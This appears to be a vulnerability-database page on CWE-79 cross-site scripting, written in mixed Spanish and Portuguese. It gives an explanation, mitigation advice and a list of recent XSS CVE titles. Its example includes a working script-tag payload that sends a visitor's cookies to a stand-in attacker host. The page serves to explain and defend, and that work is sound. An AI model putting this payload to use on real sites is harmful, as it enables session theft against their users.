Fallos del tipo CWE-79

30.536 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-45106MEDIUMWeblate: Stored HTML injection in editor search previewEPSS 0.2%CVE-2025-68880HIGHWordPress Simple Archive Generator plugin <= 5.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-7421MEDIUMPasseum Ticketing <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'shop_name' SettingEPSS 0.2%CVE-2026-6779MEDIUMOther issue in the JavaScript Engine componentEPSS 0.2%CVE-2026-1451MEDIUMrognone <= 0.6.2 - Reflected Cross-Site Scripting via 'a' ParameterEPSS 0.2%CVE-2025-0876MEDIUMXSS in Isin Basi Advertisement & IT's WorkifEPSS 0.2%CVE-2026-103897MEDIUMResponsive Lightbox & Gallery <= 2.7.9 - Authenticated (Editor+) Stored Cross-Site Scripting via Comment Content 'title' AttributeEPSS 0.2%CVE-2025-27259LOWEricsson Network Manager: improper neutralization of user controlled inputEPSS 0.2%CVE-2025-10558HIGHStored Cross-site Scripting (XSS) vulnerability affecting 3DSearch in 3DSwymer on Release 3DEXPERIENCE R2025xEPSS 0.2%CVE-2025-68401MEDIUMChurchCRM has Stored Cross-Site Scripting (XSS) vulnerability that leads to session theft and account takeoverEPSS 0.2%CVE-2026-3239MEDIUMStrong Testimonials <= 3.2.21 - Authenticated (Contributor+) Stored Cross-Site Scripting via testimonial_view ShortcodeEPSS 0.2%CVE-2026-20109MEDIUMCisco Packaged Contact Center Enterprise and Cisco Unified Contact Center Enterprise Cross-Site Scripting VulnerabilityEPSS 0.2%CVE-2026-4165MEDIUMWorksuite HR, CRM and Project Management create cross site scriptingEPSS 0.2%CVE-2025-66500MEDIUMFoxit webplugins.foxit.com Stored Cross-Site Scripting via postMessage VulnerabilityEPSS 0.2%CVE-2024-6224MEDIUMSend email only on Reply to My Comment <= 1.0.6 - Stored XSS via CSRFEPSS 0.2%CVE-2025-62142MEDIUMWordPress Post Video Players plugin <= 1.163 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-39328HIGHChurchCRM has Stored XSS in Social Profile FieldsEPSS 0.2%CVE-2026-109604HIGHERPNext before 15.112.0 Stored XSS via Tool View Record NamesEPSS 0.2%CVE-2019-25233MEDIUMAVE DOMINAplus 1.10.x Cross-Site Request Forgery and XSS VulnerabilitiesEPSS 0.2%CVE-2026-77912HIGHStored cross-site scripting vulnerability in GitHub Enterprise Server allowed HTML attribute injection via the Markdown rendering pipelineEPSS 0.2%